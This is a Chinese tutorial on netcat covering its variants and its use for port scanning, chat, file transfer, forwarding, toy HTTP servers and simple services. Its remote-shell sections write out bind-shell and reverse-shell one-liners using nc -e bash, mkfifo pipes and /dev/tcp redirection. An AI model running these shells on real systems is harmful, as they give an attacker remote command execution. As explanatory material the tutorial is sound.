nc的使用和原理

nc的简介

nc 是 netcat 的缩写。

nc 是一个用于处理网络连接的工具。

netcat 的原始版本是一个 Unix 程序。 最后一个版本 （1.10） 于 1996 年 4 月发布。原作者叫做 Hobbit 。

• https://nc110.sourceforge.io/
• https://sourceforge.net/projects/nc110/
• https://sourceforge.net/p/nc110/git/ci/master/tree/

现在的 nc 有很多种实现。下面是常见的五种实现。

• GNU 版
  • 包名通常为 nc-traditional netcat-traditional
  • https://snapshot.debian.org/package/netcat/
• openbsd 版
  • 包名通常为 nc-openbsd netcat-openbsd
  • https://github.com/openbsd/src/blob/master/usr.bin/nc
• nmap 版
  • ncat 通常是指 nmap 版的 nc
  • ncat 的包名通常是 ncat nmap-ncat
  • https://github.com/nmap/nmap/tree/master/ncat
  • ncat 是 nmap 项目的组成部分。
  • Nmap (“Network Mapper(网络映射器)”) 是一个免费的开源实用程序，用于 网络发现和安全审核。
  • 除了经典的命令行 Nmap 可执行文件之外，Nmap 套件包括
    • 高级 GUI 和结果查看器 （Zenmap），
    • 一个灵活的数据 传输、重定向和调试工具 （Ncat），
    • 一个实用程序 比较扫描结果 （Ndiff）
    • 数据包生成和响应分析工具 （Nping）
• socat
  • socat 的官方文档描述它是 "netcat++" (extended design, new implementation)
  • socat 的包名就是 socat
  • socat 是 socket cat 的缩写
  • http://www.dest-unreach.org/socat/
• BusyBox 版
  • https://github.com/mirror/busybox/blob/master/networking/nc.c
  • 同样地 toybox 里也有一个 nc
• 除此之外，还有一个 cryptcat
  • cryptcat 是 netcat 的变体，基本上就是多了一个 密码 的参数
  • cryptcat 好像是来自 kali linux

多数情况下 nc 或 netcat 是指 GNU 版 或 openbsd 版，一般系统自带的是 GNU 版

• 判断当前系统的 nc 版本 先用 type nc 再用 realpath 或 ls -l 查看 nc 的真实路径，最好用 realpath 类似这样 realpath /bin/nc

socat 和 ncat 和 nc-openbsd 都支持 tls 。 从功能上看。 BusyBox nc < nc-traditional < nc-openbsd < ncat < socat

nc的使用

nc 扫描端口

nc -v 127.0.0.1 801
nc -v -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 800-900
不是所有版本的nc都支持 i z 参数，不是所有版本的 nc 支持批量端口扫描

nc 实现聊天

最简单的一对一
    nc -l 801
    nc 127.0.0.1 801

nc 传输文件

接收端先运行一个 nc
    nc -l 801 > output.txt
发送端再运行一个 nc
    nc 127.0.0.1 801 < input.txt

nc 实现一个转发服务

nc 自己调用自己
nc -v -l -k -p 9901 -e "nc 127.0.0.1 9902"
nc -v -l -k -p 9901 -e "bash -c \"nc 127.0.0.1 9902\""
使用管道
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash -c "nc 127.0.0.1 9902" 2>&1 1>pipe1;

nc 实现远程 shell

远程 shell
    nc -v -l -p 9901 -e "bash"
控制端
    nc -v 127.0.0.1 9901
即使没有 -e 参数，也能通过管道实现各种奇技淫巧，虽然管道的奇技淫巧只能处理单个连接
    mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash 2>&1 1>pipe1;

nc 实现远程反向 shell

控制端先运行一个 nc
    nc -v -l -p 9901
目标机器上连接控制机器的 9901 端口，并将其shell绑定到该连接上
    nc -v 127.0.0.1 9901 -e "bash"
    mkfifo pipe1; cat pipe1 | nc -v 127.0.0.1 9901 | /bin/bash 2>&1 1>pipe1;
    exec 3<>/dev/tcp/127.0.0.1/9901; exec 0>&3; exec 1<&3; /bin/bash 2>&1;
    exec 3<>/dev/tcp/127.0.0.1/9901; /bin/bash 2>&1 0>&3 1<&3; 这种写法似乎更好

用 ncat 实现最简单的五个协议

参考这个网页
https://nmap.org/ncat/guide/ncat-simple-services.html

echo
    while read -r line; do echo "$line"; done
    echo 123 | while read -r line; do echo "$line"; done
    echo -e "123\n321" | while read -r line; do echo "$line"; done
    nc -l -k -p 9901 -e "cat $@"
daytime
    date -u "+%d %b %y %k:%M:%S %z"
    date -u --rfc-2822
    date -u --rfc-3339="seconds"
    date -u --iso-8601="seconds"
time
    date +%s | awk '{printf "%#x", $1+2209017600}' | xxd -r
discard
    while read -r line; do echo "$line" > /dev/null; done
chargen
    lineLimit=72;offset=0;count=0;while true; do for ((i=0; i<$lineLimit; i++)); do tag=$((($i + $offset) % 95)); printf "\x$(printf %x $(($tag + 32)))"; done; offset=$(($offset + 1)); if [ $offset -ge 95 ]; then offset=0; fi; printf "\n";count=$(($count + 1)); done;

nc 如何模拟 telnet 客户端？

nc 也可以像 telnet 那样模拟 http 客户端

nc www.baidu.com 80
连接后，快速地输入 GET / HTTP/1.0 然后连续输入两个回车，就能返回网页内容
又或者直接一句命令
    printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | nc www.baidu.com 80

nc 如何模拟 http 服务器

• 输出固定的内容

  如果支持 参数 k
  trap "{ kill $; }" SIGINT;while true; do nc -v -l -k -p 9901 -c "echo \"HTTP/1.0 200 OK\\r\\nContent-Length: 11\\r\\n\\r\\nhelloworld\""; sleep 1s; done;
  
  如果不支持 参数 k
  while true; do { echo -e 'HTTP/1.1 200 OK\r\nContent-Length: 11\r\n\r\n'; echo helloworld; } | nc -v -l -k -p 9901; sleep 0.5s; done
  
  能保持运行，但每次只能处理一个请求，通过连续两次 ctrl+c 退出，但个请求都要等待一秒
  

• 输出动态内容

  动态输出内容的命令会写得非常的长，而且还有很多转义字符需要处理，所以最后还是写成了脚本的形式
  nc -v -l -p 9901 -c ./http.sh
  同样地需要关注 nc 是否支持参数 k ，需要有两种不一样的写法，参考上面的就可以了
  参数k的作用是重复处理连接，如果没有参数k，nc会只处理一个连接就退出了
  
  这是 http.sh 的内容
  #!/bin/bash
  echo -n "HTTP/1.0 200 OK"
  echo -e -n "\r\n"
  echo -n "Content-Length: 11"
  echo -e -n "\r\n\r\n"
  echo "helloworld"
  
  已经有人做了类似的了
  https://github.com/avleen/bashttpd
  netcat -lp 9901 -e ./bashttpd
  

• 测试用的命令

  curl -v 127.0.0.1:9901
  nc 127.0.0.1 9901
  

windows 如何使用 nc

• github 上有好几个 windows 版的 nc ，但都很久没更新了
  • https://github.com/diegocr/netcat
  • https://github.com/int0x33/nc.exe
• 先下载 windows 版的 busybox ，再使用 busybox 里的 nc
  • https://frippery.org/busybox/
  • https://github.com/rmyorston/busybox-w32
  • 要下载 busybox64u.exe 这个版本，64位且支持 unicode ，虽然这个版本只支持 win10和win11
• nmap 也有提供 windows 版的 nc
  • https://nmap.org/ncat/
  • https://sectools.org/tool/netcat/
  • https://nmap.org/book/ncat-man.html
  • https://nmap.org/ncat/guide/index.html
• windows 版的 ncat 最好还是在 bash 里运行。。。
• 或者用 脚本 语言自己实现一个也可以。。。

nc的原理

大致原理

• 只处理连接
• socket一部分参数可以通过命令行传入，例如 -w -u 这类
• 把socket的输入和输出重定向到标准输入和标准输出

nc 的源码

• nc-traditional
  • 可以下载到源码，但不能在线预览，bz2 的那个才是源码
  • https://snapshot.debian.org/package/netcat/
  • https://manpages.debian.org/bookworm/netcat-traditional/nc.traditional.1.en.html
• nc-openbsd
  • https://github.com/openbsd/src/blob/master/usr.bin/nc/netcat.c
• nmap 的 nc
  • https://nmap.org/ncat/
  • https://github.com/nmap/nmap/tree/master/ncat
  • https://github.com/nmap/nmap/blob/master/ncat/ncat_main.c
• socat 的源码镜像，但很久没更新了
  • https://github.com/3ndG4me/socat
  • 源码可以直接在官网里下载 gz 文件 http://www.dest-unreach.org/socat/
• BusyBox nc
  • https://github.com/mirror/busybox/blob/master/networking/nc.c
• 原始版本的nc，也是很久都没更新了
  • https://sourceforge.net/p/nc110/git/ci/master/tree/

如何实现一个 nc

• 实现一个客户端
• 实现一个服务端

用 python 和 php 实现一个 nc

如果 bash 有 /usr/lib/bash/accept 这个特性，那么直接用 bash 实现一个 nc 也不是不可以的。 客户端部分用 exec /dev/tcp/$host/$port 和 exec /dev/udp/$host/$port 来实现， 服务端部分用 /usr/lib/bash/accept 来实现。 只有 bash 搞网络编程还是有太多限制了，因为 socket 很多选项无法通过 bash 设置。